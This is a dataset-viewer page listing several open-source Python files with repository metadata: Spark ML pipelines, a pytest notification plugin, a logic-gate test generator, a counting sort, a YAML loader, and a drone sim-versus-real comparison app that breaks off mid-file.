xszheng2020/the_stack_dedup_python_hits_0 · Datasets at Hugging Face

c5bb01946303877ea63e29bebf7b652741dee0f9

5,170

py

Python

MllibPipelines.py

RumbleDB/rumbleml-experiments

284abb7bf0646965a3fcbffe1e15d792b214f860

[ "Apache-2.0" ]

1

2022-01-11T08:24:26.000Z

MllibPipelines.py

RumbleDB/rumbleml-experiments

284abb7bf0646965a3fcbffe1e15d792b214f860

[ "Apache-2.0" ]

null

MllibPipelines.py

RumbleDB/rumbleml-experiments

284abb7bf0646965a3fcbffe1e15d792b214f860

[ "Apache-2.0" ]

null

# sklearn core from pyspark.ml import Pipeline # Preprocessing from pyspark.ml.feature import StandardScaler, MaxAbsScaler, PCA, VectorAssembler, Imputer, OneHotEncoder # Models from pyspark.ml.regression import LinearRegression from pyspark.ml.classification import LogisticRegression, RandomForestClassifier, LinearSVC, NaiveBayes, MultilayerPerceptronClassifier def get_clf(mode, **kwargs): ''' Code returning mllib classifier for pipelines ''' if mode == 'logistic': max_iter = kwargs.get('max_iter', 5) model = LogisticRegression(featuresCol="transformed_features", maxIter=max_iter) elif mode=='RandomForest': n_estimators = kwargs.get('n_estimators', 5) model = RandomForestClassifier(featuresCol="transformed_features", numTrees=n_estimators) elif mode=='LinearSVC': max_iter = kwargs.get('max_iter', 5) model = LinearSVC(featuresCol="transformed_features", maxIter=max_iter) elif mode=='NB': model = NaiveBayes(featuresCol="transformed_features") elif mode=='linear': model = LinearRegression(featuresCol="transformed_features") elif 'NN' in mode: solver = kwargs.get('solver', 'sgd') hidden_layer_sizes = kwargs.get('hidden_layer_sizes', (20,)) if isinstance(hidden_layer_sizes, list): hidden_layer_sizes = list(hidden_layer_sizes) activation = kwargs.get('activation', 'relu') learning_rate_init = kwargs.get('learning_rate', 0.001) max_iter = kwargs.get('max_iter', 5000) if mode=='NN': model = MultilayerPerceptronClassifier(solver=solver, layers=hidden_layer_sizes, stepSize=learning_rate_init, maxIter=max_iter) return model def get_pipe_ops(mode, inputCol="features", outputCol="transformed_features"): if mode == 'pipe_0': # just the classifier vecAssembler = VectorAssembler(outputCol=outputCol) vecAssembler.setInputCols([inputCol]) ops = [vecAssembler] elif mode == 'pipe_1': # 1-step scaler (*map) scaler = MaxAbsScaler(inputCol=inputCol, outputCol=outputCol) ops = [scaler] # elif mode == 'pipe_2': # 2-step function scaler (*map) # def logVar(x): # return MaxAbsScaler(np.log(x)) # ops = [('logscaler', FunctionTransformer(logVar))] elif mode == 'pipe_3': # dimensionality reduction (*map) pca = PCA(k=2, inputCol=inputCol, outputCol=outputCol) ops = [pca] # elif mode == 'pipe_4': # k-means (fork) # union = FeatureUnion([("indicator", MissingIndicator()), # ("kmeans", KMeans(random_state=0))]) # ops = [('union', union)] elif mode == 'pipe_5': # TODO # multiple dimensionality reductions (fork) pca = PCA(k=2, inputCol=inputCol, outputCol="pca_output") #svd = SVD() #lda = LDA() vecAssembler = VectorAssembler(outputCol=outputCol) vecAssembler.setInputCols(["pca_output"]) ops = [pca, vecAssembler] # elif mode == 'pipe_6': # # image blurring operator # grayify = RGB2GrayTransformer() # def gaussian_blur(x): # return skimage.filters.gaussian(x) # ops = [('grayify', grayify), ('blur', FunctionTransformer(gaussian_blur))] # elif mode == 'pipe_7': # # complex image processing operators # grayify = RGB2GrayTransformer() # hogify = HogTransformer( # pixels_per_cell=(4, 4), # cells_per_block=(2,2), # orientations=9, # block_norm='L2-Hys' # ) # ops = [('grayify', grayify), ('hogify', hogify)] else: raise ValueError("Invalid mode!") return ops def create_numerical_pipeline(ops_mode, imputer=True, clf_mode='logistic', **kwargs): ops = get_pipe_ops(ops_mode) clf = get_clf(clf_mode, **kwargs) # vecAssembler = VectorAssembler(outputCol="data") # vecAssembler.setInputCols(["col_0", "col_1", "col_2", "col_3", "col_4", "col_5", "col_6", "col_7", "col_8", "col_9", "col_10", "col_11", "col_12", "col_13"]) # ops = [vecAssembler] + ops if imputer: imp = Imputer(strategy='mean') ops = [imp] + ops ops = ops + [clf] pipe = Pipeline(stages=ops) return pipe def create_tabular_pipeline(num_mode, outputCols="output", categorical_ix=["cat_features"], numerical_ix=["num_features"], imputer=True, clf_mode='logistic', **kwargs): num_ops = get_pipe_ops(num_mode, outputCols=outputCols) # imp = Imputer(strategy='categorical') - mllib doesn't support categorical input cat_one_hot = OneHotEncoder(inputCols=categorical_ix, outputCols="cat_features") ops = [cat_one_hot] + num_ops if imputer: num_imputer = Imputer(inputCols=numerical_ix, strategy='median', outputCols='data') ops = [num_imputer] + ops clf = get_clf(clf_mode) vecAssembler = VectorAssembler(outputCols=outputCols) vecAssembler.setInputCols(["cat_output"]) ops = ops + [clf] pipe = Pipeline(stages=ops) return pipe

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0.169014

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null

0

null

0

1

0

c5bc2406eeec880f5701a8eed1c391df551334b5

2,927

py

Python

src/pytest_notification/plugin.py

rhpvorderman/pytest-notification

3f322ab04914f52525e1b07bc80537d5f9a00250

[ "MIT" ]

2

2020-08-27T03:14:05.000Z

2020-10-24T17:17:36.000Z

src/pytest_notification/plugin.py

rhpvorderman/pytest-notification

3f322ab04914f52525e1b07bc80537d5f9a00250

[ "MIT" ]

5

2019-12-02T08:49:15.000Z

2020-06-22T08:38:34.000Z

src/pytest_notification/plugin.py

rhpvorderman/pytest-notification

3f322ab04914f52525e1b07bc80537d5f9a00250

[ "MIT" ]

null

# Copyright (c) 2019 Leiden University Medical Center # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from _pytest.config.argparsing import Parser as PytestParser import pytest from .notifications import DEFAULT_FAIL_ICON, DEFAULT_SUCCESS_ICON, notify from .sound import DEFAULT_FAIL_SOUND, DEFAULT_SUCCESS_SOUND, play_sound def pytest_addoption(parser: PytestParser): """ Add options to the pytest parser. Works like the built-in argparse module. This function is used by pytest. It is not meant to be called from outside. """ parser.addoption("--notify", action="store_true", help="Sends a desktop notification when pytest is " "finished. (Only implemented on Linux. Requires the " "'notify-send' program in PATH on Linux.") parser.addoption("--sound", "--play-sound", action="store_true", help="Plays a sound when pytest is finished. (Only " "implemented on Linux and Macintosh systems).") parser.addoption("--disturb", action="store_true", help="Alias for --notify --sound") def pytest_sessionfinish(session: pytest.Session, exitstatus: int): """ Hook function used by pytest. This code will be run at the end of a pytest session. """ notify_on = session.config.getoption("notify") sound_on = session.config.getoption("sound") disturb = session.config.getoption("disturb") if notify_on or disturb: if exitstatus == 0: notify("Pytest", "All tests are succesfull!", icon=DEFAULT_SUCCESS_ICON) else: notify("Pytest", "Failing tests detected!", icon=DEFAULT_FAIL_ICON) if sound_on or disturb: if exitstatus == 0: play_sound(DEFAULT_SUCCESS_SOUND) else: play_sound(DEFAULT_FAIL_SOUND)

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2,927

5.176623

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0.23437

2,927

68

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43.044118

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0.446874

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0.133333

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false

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0

0.2

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null

0

null

0

1

0

c5bc9b2009bdf6d2e3701fee56d0333e0b92d2e8

379

py

Python

Chips/Or.py

AdilRas/Nand2TetrisCaseGenerator

db82e6988d03d64884e4ac0cf02cecb78e275bc5

[ "MIT" ]

5

2020-02-26T16:53:04.000Z

2020-02-27T06:12:46.000Z

Chips/Or.py

AdilRas/Nand2TetrisCaseGenerator

db82e6988d03d64884e4ac0cf02cecb78e275bc5

[ "MIT" ]

null

Chips/Or.py

AdilRas/Nand2TetrisCaseGenerator

db82e6988d03d64884e4ac0cf02cecb78e275bc5

[ "MIT" ]

2

2020-02-26T16:53:15.000Z

2020-02-28T03:45:56.000Z

from src.TestCaseGenerator import * input_variables = [Var("a", 1, "B"), Var("b", 1, "B")] output_variables = [Var("out", 1, "B")] def or_logic(args): out = [] if args[0] == 1 or args[1] == 1: out.append(1) else: out.append(0) return out generate(name="Or", numCases=10, inVars=input_variables, outVars=output_variables, function=or_logic)

19.947368

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0.612137

56

379

4.035714

0.5

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0

0.036667

0.208443

379

18

102

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1

0.090909

false

0

0.090909

0

0.272727

0

null

0

null

0

1

0

c5be570abca3ed89a78ad5032997c2885276882c

1,129

py

Python

alg_counting_sort.py

lukes1582/algoritmi

3313c9ae3cb5f9f0c410ca86ea29e23cb1c3c8fd

[ "Apache-2.0" ]

null

alg_counting_sort.py

lukes1582/algoritmi

3313c9ae3cb5f9f0c410ca86ea29e23cb1c3c8fd

[ "Apache-2.0" ]

null

alg_counting_sort.py

lukes1582/algoritmi

3313c9ae3cb5f9f0c410ca86ea29e23cb1c3c8fd

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 """ l0m1s lukes1582@gmail.com algoritmo counting sort sviluppato per Python """ arr = [50, 1000, 0, 43, 8, 5, 1, 10] print(arr) maxElement = int(max(arr)) minElement = int(min(arr)) rangeOfElements = maxElement - minElement + 1 """ per prima cosa assegno 0 a tutti gli elementi dell'array count_arr che è esattamente lungo quanto calcolato in precedenza """ count_arr = [0 for _ in range(rangeOfElements)] """ poi procedo ad assegnare 0 a tutti gli elementi dell'array output_arr che ha una grandezza paritetica a quella dell'array da ordinare """ output_arr = [0 for _ in range(len(arr))] for h in range(0, len(arr)): count_arr[arr[h]-minElement] += 1 # assegno 1 nel count_arr nella posizione definita dal valore preso dell'arr - il valore minimo for k in range(1, len(count_arr)): count_arr[k] += count_arr[k-1] for j in range(len(arr)-1, -1, -1): output_arr[count_arr[arr[j] - minElement] - 1] = arr[j] count_arr[arr[j] - minElement] -= 1 print(output_arr) for w in range(0, len(arr)): arr[w] = output_arr[w] print(arr)

24.543478

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183

1,129

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0.027027

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0.072973

0

0.041433

0.209035

1,129

45

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false

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null

0

null

0

1

0

c5c0dc125aaf6279807b7ce72e48ebe44653590d

3,434

py

Python

stitch/datastore/yaml.py

hackerhelmut/stitch

5ea78a219a8bc4a130a8b8d44ebf8f864dae95dd

[ "Apache-1.1" ]

null

stitch/datastore/yaml.py

hackerhelmut/stitch

5ea78a219a8bc4a130a8b8d44ebf8f864dae95dd

[ "Apache-1.1" ]

null

stitch/datastore/yaml.py

hackerhelmut/stitch

5ea78a219a8bc4a130a8b8d44ebf8f864dae95dd

[ "Apache-1.1" ]

null

#!/usr/bin/env python2.7 # vim : set fileencoding=utf-8 expandtab noai ts=4 sw=4 filetype=python : """ embeddedfactor GmbH 2015 Implements yaml loading and storring """ from __future__ import print_function import sys import stitch.datastore import types import itertools from ruamel import yaml from ruamel import ordereddict from ruamel.yaml.comments import CommentedMap from ruamel.yaml import scalarstring FILE_PROPERTY = "file" FILE_EXTENSION = ".yaml" class Query(object): """Query object""" def __init__(self, query): """ Store query string """ self.query = query def __repr__(self): """ Print string representation of the query """ return "!query:"+self.query def get_query(self): """ Return the query string """ return self.query def query_constructor(loader, node): """ Convert node as scalar from loader to a Query object """ value = loader.construct_scalar(node) return Query(value) yaml.add_constructor(u'!query', query_constructor, yaml.RoundTripLoader) def query_representer(dumper, data): """ Convert Query object to a query string with tag """ return dumper.represent_scalar(u'!query', data.query) yaml.add_representer(Query, query_representer, yaml.RoundTripDumper) class folded_str(unicode): pass def folded_str_representer(dumper, data): """ Converts all folded_str instances to strings folded in YAML with the > style """ return dumper.represent_scalar(u'tag:yaml.org,2002:str', data, style='>') yaml.add_representer(folded_str, folded_str_representer, yaml.RoundTripDumper) class literal_str(unicode): pass def literal_str_representer(dumper, data): """ Converts all literal_str instances to strings in YAML with the | style """ return dumper.represent_scalar(u'tag:yaml.org,2002:str', data, style='|') yaml.add_representer(literal_str, literal_str_representer, yaml.RoundTripDumper) def load(filename): """Load a dict from a yaml file""" try: result = {} with open(filename, "r") as stream: result = yaml.load(stream.read(), yaml.RoundTripLoader) if isinstance(result, ordereddict.ordereddict): result.insert(0, FILE_PROPERTY, filename) elif isinstance(result, dict): result[FILE_PROPERTY] = filename except yaml.reader.ReaderError as err: print("Error in file:", filename) print(err.message()) sys.exit(1) except yaml.scanner.ScannerError as err: print("Error in file {filename} ".format(filename=filename), err) sys.exit(1) except yaml.parser.ParserError as err: print("Error in file {filename} ".format(filename=filename), err) sys.exit(1) return result def save(obj, filename=None): """Save a dict to a yaml file""" if not filename and FILE_PROPERTY in obj: filename = obj[FILE_PROPERTY] del obj[FILE_PROPERTY] if not filename: raise Exception() with open(filename, "w") as stream: stream.write(yaml.dump(obj, Dumper=yaml.RoundTripDumper)) def dump(obj): """Dump a dict as yaml into a string""" if isinstance(obj, types.GeneratorType): obj = tuple(obj) elif isinstance(obj, itertools.chain): obj = list(obj) return u"---\n"+yaml.dump(obj, Dumper=yaml.RoundTripDumper)

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0.031802

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0

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3,434

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null

0

null

0

1

0

c5c2ac94d668415c7b3c3caf90147a017c256922

27,466

py

Python

thiel_app/main.py

zlite/PX4_flight_review

66697465ac87a484af07fc310cbf9030bc15764e

[ "BSD-3-Clause" ]

null

thiel_app/main.py

zlite/PX4_flight_review

66697465ac87a484af07fc310cbf9030bc15764e

[ "BSD-3-Clause" ]

null

thiel_app/main.py

zlite/PX4_flight_review

66697465ac87a484af07fc310cbf9030bc15764e

[ "BSD-3-Clause" ]

1

2021-03-03T18:51:57.000Z

""" This contains Thiel analysis plots """ from os import read, path # import px4tools import numpy as np import math import io import os import sys import errno import base64 from db_entry import * import pickle import simstats # this the module that you can modify to add your own stats #import thiel_analysis from bokeh.io import curdoc,output_file, show from bokeh.models.widgets import Div from bokeh.models import Title from bokeh.layouts import column from scipy.interpolate import interp1d from plotted_tables import * from configured_plots import * from os.path import dirname, join from config import * from colors import HTML_color_to_RGB from helper import * from leaflet import ulog_to_polyline from bokeh.models import RadioButtonGroup, Button from bokeh.models.widgets import Paragraph import pandas as pd pd.options.mode.chained_assignment = None # default='warn' from bokeh.layouts import column, row from bokeh.models import ColumnDataSource, PreText, Select from bokeh.plotting import figure from bokeh.server.server import Server from bokeh.themes import Theme from bokeh.application.handlers import DirectoryHandler #pylint: disable=cell-var-from-loop, undefined-loop-variable, default_simname = 'sim.ulg' # these are the defaults if you don't load your own data default_realname = 'real.ulg' simdescription = '(Dummy data. Please select your own sim log above)' realdescription = '(Dummy data. Please select your own real log above)' sim_polarity = 1 # determines if we should reverse the Y data real_polarity = 1 simx_offset = 0 realx_offset = 0 realnorm = 0 simnorm = 0 read_file = True get_new_data = True reverse_sim_data = False reverse_real_data = False refresh = False read_file_local = False new_real = False new_sim = False mission_only = False sim_metric = 'x' real_metric = 'x' tplot_height = 400 tplot_width = 1000 keys = [] labels_text = [] labels_color = [] labels_y_pos = [] labels_x_pos = [] annotations = [] mission_annotations = [] labels = [] sim_label = Label() real_label = Label() annotation_counter = 0 mission_annotation_counter = 0 config = [default_simname, default_realname, sim_metric, real_metric, simdescription, realdescription, 1, 1] # this is just a placeholder in case you don't already have # def kill(): # # this is just for debugging. It creates an error so we can watch crash handling # sys.exit() # # raise RuntimeError("Fake error") # kill_mode_button = Button(label="Kill") # This is just a debugging tool to make sure the web app can handle crashes # kill_mode_button.on_click(kill) mission_mode_button = RadioButtonGroup( labels=["Show all flight modes", "Show only Mission mode"], active=0) mission_mode_button.on_change('active', lambda attr, old, new: mission_mode()) normalize_mode_button = RadioButtonGroup( labels=["Raw data", "Normalized data"], active=0) normalize_mode_button.on_change('active', lambda attr, old, new: normalize()) sim_reverse_button = RadioButtonGroup( labels=["Sim Default Orientation", "Reversed Orientation"], active=0) sim_reverse_button.on_change('active', lambda attr, old, new: reverse_sim()) real_reverse_button = RadioButtonGroup( labels=["Real Default Orientation", "Reversed Orientation"], active=0) real_reverse_button.on_change('active', lambda attr, old, new: reverse_real()) sim_swap_button = RadioButtonGroup( labels=["Sim Default X/Y", "Swapped X/Y"], active=0) sim_swap_button.on_change('active', lambda attr, old, new: swap_sim()) real_swap_button = RadioButtonGroup( labels=["Real Default X/Y", "Swapped X/Y"], active=0) real_swap_button.on_change('active', lambda attr, old, new: swap_real()) spacer = Div(text="<hr>", width=800, height=20) explainer = Div(text="<b>Note:</b> the X/Y coordinate system is set relatively arbitrarily by the drone at startup \ and does not reflect GPS positions or compass direction. So you may find that you need to \ compare one file's X with another's Y or reverse one to achieve alignment. ", width=800, height=50) # set up widgets stats = PreText(text='Thiel Coefficient', width=500) # datatype = Select(value='XY', options=DEFAULT_FIELDS) stats2 = PreText(text='Song Coefficient', width=500) # @lru_cache() def load_data(filename): global keys fname = os.path.join(get_log_filepath(), filename) if path.exists(fname): ulog = load_ulog_file(fname) else: print("log does not exist; loading default data instead") fname = os.path.join(get_log_filepath(), 'sim.ulg') ulog = load_ulog_file(fname) data = ulog.data_list for d in data: data_keys = [f.field_name for f in d.field_data] data_keys.remove('timestamp') keys.append(data_keys) cur_dataset = ulog.get_dataset('vehicle_local_position') flight_mode_changes = get_flight_mode_changes(ulog) return cur_dataset, flight_mode_changes # @lru_cache() def get_data(simname,realname, sim_metric, real_metric, read_file): global dfsim, dfreal, sim_flight_mode_changes, real_flight_mode_changes if read_file: dfsim, sim_flight_mode_changes = load_data(simname) dfreal, real_flight_mode_changes = load_data(realname) read_file = False sim_data = dfsim.data[sim_metric].copy() # we copy the data so we can change it wihout changing the original sim_time = dfsim.data['timestamp'].copy() real_data = dfreal.data[real_metric].copy() real_time = dfreal.data['timestamp'].copy() if mission_only: # only show data for when the drone is in auto modes temp_pd_sim = pd.DataFrame(sim_data, columns = ['sim']) # create one dataframe that's just the flight data for the selected metric sim_mission_start, sim_mission_end = get_mission_mode(sim_flight_mode_changes) pd_sim_time = pd.DataFrame(sim_time,columns = ['time']) temp_pd_sim = pd.concat([pd_sim_time,temp_pd_sim], axis=1) pd_sim2 = temp_pd_sim.loc[(temp_pd_sim['time'] >= sim_mission_start) & (temp_pd_sim['time'] <= sim_mission_end)] #slice this just to the mission portion pd_sim = pd_sim2.copy() starting_sim_time = pd_sim.iat[0,0] pd_sim['time'] -= starting_sim_time # zero base the time pd_sim_time['time'] = pd_sim['time'] pd_sim = pd_sim.drop(columns=['time']) # we don't need these old time columns anymore temp_pd_real = pd.DataFrame(real_data, columns = ['real']) real_mission_start, real_mission_end = get_mission_mode(real_flight_mode_changes) pd_real_time = pd.DataFrame(real_time, columns = ['time']) temp_pd_real = pd.concat([pd_real_time,temp_pd_real], axis=1) # print("Real mission start, finish", real_mission_start,real_mission_end) pd_real2 = temp_pd_real.loc[(temp_pd_real['time'] >= real_mission_start) & (temp_pd_real['time'] <= real_mission_end)] # slice this just to the mission portion pd_real = pd_real2.copy() starting_real_time = pd_real.iat[0,0] pd_real['time'] -= starting_real_time # zero base the time pd_real_time['time'] = pd_real['time'] pd_real = pd_real.drop(columns=['time']) # we don't need these old time columns anymore else: pd_sim = pd.DataFrame(sim_data, columns = ['sim']) pd_sim_time = pd.DataFrame(sim_time,columns = ['time']) starting_sim_time = pd_sim_time.iat[0,0] pd_sim_time['time'] -= starting_sim_time # zero base the time pd_real = pd.DataFrame(real_data, columns = ['real']) pd_real_time = pd.DataFrame(real_time, columns = ['time']) starting_real_time = pd_real_time.iat[0,0] pd_real_time['time'] -= starting_real_time # zero base the time pd_real_time.dropna(subset=['time'], inplace=True) # remove empty rows pd_real.reset_index(drop=True, inplace=True) # reset all the indicies to zero pd_real_time.reset_index(drop=True, inplace=True) pd_sim_time.dropna(subset=['time'], inplace=True) # do the same for the sims pd_sim.reset_index(drop=True, inplace=True) pd_sim_time.reset_index(drop=True, inplace=True) if len(pd_sim_time) > len(pd_real_time): # base the y axis on the longest time pd_time = pd_sim_time else: pd_time = pd_real_time new_data = pd.concat([pd_time,pd_sim, pd_real], axis=1) save_settings(config) return new_data def update_config(): config[0] = simname config[1] = realname config[2] = sim_metric config[3] = real_metric config[4] = simdescription config[5] = realdescription config[6] = 0 config[7] = 0 return config def save_settings(config): with open('settings', 'wb') as fp: #save state pickle.dump(config, fp) def read_settings(): ''' We're now going to load a bunch of state variables to sync the app back to the last known state. The file "settings" should exist in the main directory # config = [simname, realname, sim_metric, real_metric, simdescription, realdescription] The format of the list is as follows: config[0] = sim ID config[1] = real ID config[2] = sim_metric config[3] = real_metric config[4] = simdescription config[5] = realdesciption config[6] = real_reverse_button.active config[7] = sim_reverse_button.active ''' global simname, realname, sim_metric, real_metric, simdescription, realdescription, real_reverse_button, sim_reverse_button if path.exists('settings'): with open ('settings', 'rb') as fp: config = pickle.load(fp) simname = config[0] realname = config[1] sim_metric = config[2] real_metric = config[3] simdescription = str(config[4]) realdescription = str(config[5]) # real_reverse_button.active = config[5] # sim_reverse_button.active = config[6] else: # the app is running for the first time, so start with dummy data simname = "sim.ulg" realname = "real.ulg" sim_metric = 'x' real_metric = 'x' simdescription = "Dummy simulation data" realdescription = "Dummy real data" config = update_config() print("Starting with dummy data", config) return config def get_mission_mode(flight_mode_changes): # time_offset, null = flight_mode_changes[0] # zero base the time m_start = 0 m_end = 0 for i in range(len(flight_mode_changes)-1): t_start, mode = flight_mode_changes[i] # t_start = t_start - time_offset t_end, mode_next = flight_mode_changes[i + 1] # t_end = t_end - time_offset if mode in flight_modes_table: mode_name, color = flight_modes_table[mode] if mode_name == 'Mission': m_start = int(t_start) m_end = int(t_end) return m_start, m_end def plot_flight_modes(flight_mode_changes,type): global annotations, mission_annotations, annotation_counter, mission_annotation_counter, sim_label, real_label, labels, ts1 if mission_only: for i in range(annotation_counter): annotations[i].visible = False # turn off the previous annotations for j in range(len(labels)): # Turn off the previous labels labels[j].visible = False if type == 'sim': real_label.visible = True # now just turn on the two mission mode labels else: sim_label.visible = True labels_y_pos = [] labels_x_pos = [] labels_text = [] labels_color = [] added_box_annotation_args = {} if type == 'sim': labels_y_offset = tplot_height - 300 # plot the sim shaded areas below the real ones else: labels_y_offset = tplot_height - 200 time_offset, null = flight_mode_changes[0] # zero base the time for i in range(len(flight_mode_changes)-1): t_start, mode = flight_mode_changes[i] t_start = t_start - time_offset t_end, mode_next = flight_mode_changes[i + 1] t_end = t_end - time_offset if mode in flight_modes_table: mode_name, color = flight_modes_table[mode] if mission_only: if mode_name == 'Mission': mtime_offset = t_start mt_start = 0 # zero base mission mode mt_end = t_end - mtime_offset annotation = BoxAnnotation(left=int(mt_start), right=int(mt_end), top = labels_y_offset, bottom = labels_y_offset-100, fill_alpha=0.09, line_color='black', top_units = 'screen',bottom_units = 'screen', fill_color=color, **added_box_annotation_args) annotation.visible = True mission_annotations.append(annotation) # add the box to the list of annotations, so we can remove it if necessary later mission_annotation_counter = mission_annotation_counter + 1 # increment the list of annotations ts1.add_layout(annotation) else: annotation = BoxAnnotation(left=int(t_start), right=int(t_end), top = labels_y_offset, bottom = labels_y_offset-100, fill_alpha=0.09, line_color='black', top_units = 'screen',bottom_units = 'screen', fill_color=color, **added_box_annotation_args) annotation.visible = True annotations.append(annotation) # add the box to the list of annotations, so we can remove it if necessary later annotation_counter = annotation_counter + 1 # increment the list of annotations ts1.add_layout(annotation) if flight_mode_changes[i+1][0] - t_start > 1e6: # filter fast # switches to avoid overlap if type == 'sim': labels_text.append(mode_name) else: labels_text.append(mode_name) labels_x_pos.append(t_start) labels_y_pos.append(labels_y_offset) labels_color.append(color) # plot flight mode names as labels if len(labels_text) > 0: source = ColumnDataSource(data=dict(x=labels_x_pos, text=labels_text, y=labels_y_pos, textcolor=labels_color)) if type == 'sim': label_color = 'orange' else: label_color = 'blue' if mission_only: if mode_name == 'Mission': label = Label(x=t_start, y=labels_y_offset, text='Mission', # just create a single label for each mission mode y_units='screen', level='underlay', render_mode='canvas', text_font_size='10pt', text_color= label_color, text_alpha=0.85, background_fill_color='white', background_fill_alpha=0.8, angle=90, angle_units = 'deg', text_align='right', text_baseline='top') if type == 'sim': sim_label = label else: real_label = label ts1.add_layout(label) else: label = LabelSet(x='x', y='y', text='text', # create a whole label set y_units='screen', level='underlay', source=source, render_mode='canvas', text_font_size='10pt', text_color= label_color, text_alpha=0.85, background_fill_color='white', background_fill_alpha=0.8, angle=90/180*np.pi, text_align='right', text_baseline='top') labels.append(label) ts1.add_layout(label) def update(selected=None): global reverse_sim_data, reverse_real_data, datalog, original_data, datasource, ts1, get_new_data clear_boxes() #turn off old mode displays if get_new_data: print("Fetching new data", simname, realname, sim_metric, real_metric, read_file) original_data = get_data(simname, realname, sim_metric, real_metric, read_file) datalog = copy.deepcopy(original_data) get_new_data = False if reverse_sim_data: datalog[['sim']] = sim_polarity * original_data['sim'] # reverse data if necessary reverse_sim_data = False if reverse_real_data: datalog['real'] = real_polarity * original_data['real'] reverse_real_data = False # range = datalog[['real']].max(numeric_only = True) - datalog[['real']].min(numeric_only = True) range = 1 if ts1.y_range.end != None: range = ts1.y_range.end - ts1.y_range.start trend = get_trend(datalog) trend = trend * int(range/10) # expand the trend line to at least 5% of of the overall range pd_trend = pd.DataFrame(trend, columns = ['trend']) datalog = pd.concat([datalog, pd_trend], axis=1) position = get_displacement(datalog) position = position/5 # scaled pd_position = pd.DataFrame(position, columns = ['position']) datalog = pd.concat([datalog, pd_position], axis=1) datasource.data = datalog plot_flight_modes(sim_flight_mode_changes, 'sim') plot_flight_modes(real_flight_mode_changes, 'real') config = update_config() stats.text, stats2.text = get_stats(datalog) save_settings(config) def prep_for_stats(datalog): sim = datalog[['sim']].to_numpy() real = datalog[['real']].to_numpy() sim = sim[~np.isnan(sim)] # eliminate any NaNs real = real[~np.isnan(real)] min_size = min(sim.size, real.size) # shrink the longer one so it's the same size as the smaller one real = real[:min_size] sim = sim[:min_size] return real, sim def get_displacement(datalog): real, sim = prep_for_stats(datalog) return sim - real def get_trend(datalog): real, sim = prep_for_stats(datalog) sim_trend = simstats.rate_of_change(sim) real_trend = simstats.rate_of_change(real) trend_diff = sim_trend - real_trend return trend_diff def get_stats(datalog): thiel = simstats.sim2real_stats(datalog) song = simstats.sim2real_stats2(datalog) real, sim = prep_for_stats(datalog) # this just cleans up the data so it wil work with the stats libraries trend = simstats.equation_8(real,sim) # find trend correlate print("trend= ", trend) position = simstats.position_metric(real, sim, 1) # find position correlate print("position =", position) thiel_text = 'Thiel coefficient (1 = no correlation, 0 = perfect): ' + str(thiel) song_text = 'Song coefficient (0 = perfect): ' + str(song) return thiel_text, song_text def normalize(): global datalog, realnorm, simnorm, get_new_data, norm if (normalize_mode_button.active == 1): norm = True realnorm = 0 simnorm = 0 sim_mean = datalog['sim'].mean() # get the average real_mean = datalog['real'].mean() if sim_mean >= real_mean: realnorm = sim_mean - real_mean datalog['real'] = datalog['real'] + realnorm # increase the lower one by the average of their difference else: simnorm = real_mean - sim_mean datalog['sim'] = datalog['sim'] + simnorm else: norm = False datalog['real'] = datalog['real'] - realnorm # revert to the way they were datalog['sim'] = datalog['sim'] - simnorm get_new_data = False update() def clear_boxes(): global annotations, mission_annotations for i in range(mission_annotation_counter): mission_annotations[i].visible = False # turn off the previous mission annotations for j in range(annotation_counter): annotations[j].visible = False # turn off the previous other mode annotations def mission_mode(): global mission_only, get_new_data if (mission_mode_button.active == 1): mission_only = True print("Show only missions") else: mission_only = False print("Show all modes") get_new_data = True normalize_mode_button.active = 0 update() def reverse_sim(): global sim_polarity, reverse_sim_data, config if (sim_reverse_button.active == 1): sim_polarity = -1 config[6] = sim_reverse_button.active else: sim_polarity = 1 reverse_sim_data = True normalize_mode_button.active = 0 update() def reverse_real(): global real_polarity, reverse_real_data, config if (real_reverse_button.active == 1): real_polarity = -1 config[5] = real_reverse_button.active else: real_polarity = 1 reverse_real_data = True normalize_mode_button.active = 0 update() def swap_sim(): global sim_metric, get_new_data print("Swapping sim. Metric is", sim_metric) if sim_metric == 'x': sim_metric = 'y' else: sim_metric = 'x' get_new_data = True normalize_mode_button.active = 0 update() def swap_real(): global real_metric, get_new_data print("Swapping real. Metric is", real_metric) if real_metric == 'x': real_metric = 'y' else: real_metric = 'x' get_new_data = True normalize_mode_button.active = 0 update() def sim_change(attrname, old, new): global sim_metric, real_metric, read_file, config, get_new_data print("Sim change:", new) sim_metric = new real_metric = new config[2] = sim_metric # save state config[3] = real_metric # save state get_new_data = True read_file = True normalize_mode_button.active = 0 update() def get_thiel_analysis_plots(simname, realname): global datalog, original_data, datasource, layout, ts1, chart, annotation_counter additional_links= "<b><a href='/browse?search=sim'>Load Simulation Log</a> <p> <a href='/browse?search=real'>Load Real Log</a></b>" save_settings(config) datalog = get_data(simname, realname, sim_metric, real_metric, read_file) original_data = copy.deepcopy(datalog) for i in range(10): if keys[i][0] == 'x': found_x = i datatype = Select(value='x', options=keys[found_x]) datatype.on_change('value', sim_change) intro_text = Div(text="""<H2>Sim/Real Thiel Coefficient Calculator</H2> \ <p> Load two PX4 datalogs, one a real flight and the other a simulation of that flight, \ and see how well they compare. We use the well-known <a href="https://www.vosesoftware.com/riskwiki/Thielinequalitycoefficient.php">Thiel Coefficient</a> and <a href="https://drive.google.com/file/d/1XY8aZz89emFt-LAuUZ2pjC1GHwRARr9f/view">Song variation</a> of that to generate correspondence scores. Our Jupyter Notebook that demonstrates and explains the Song methodology is <a href="https://github.com/zlite/PX4_flight_review/blob/master/thiel_app/clean_replication.ipynb">here</a>""",width=800, height=120, align="center") choose_field_text = Paragraph(text="Choose a data field to 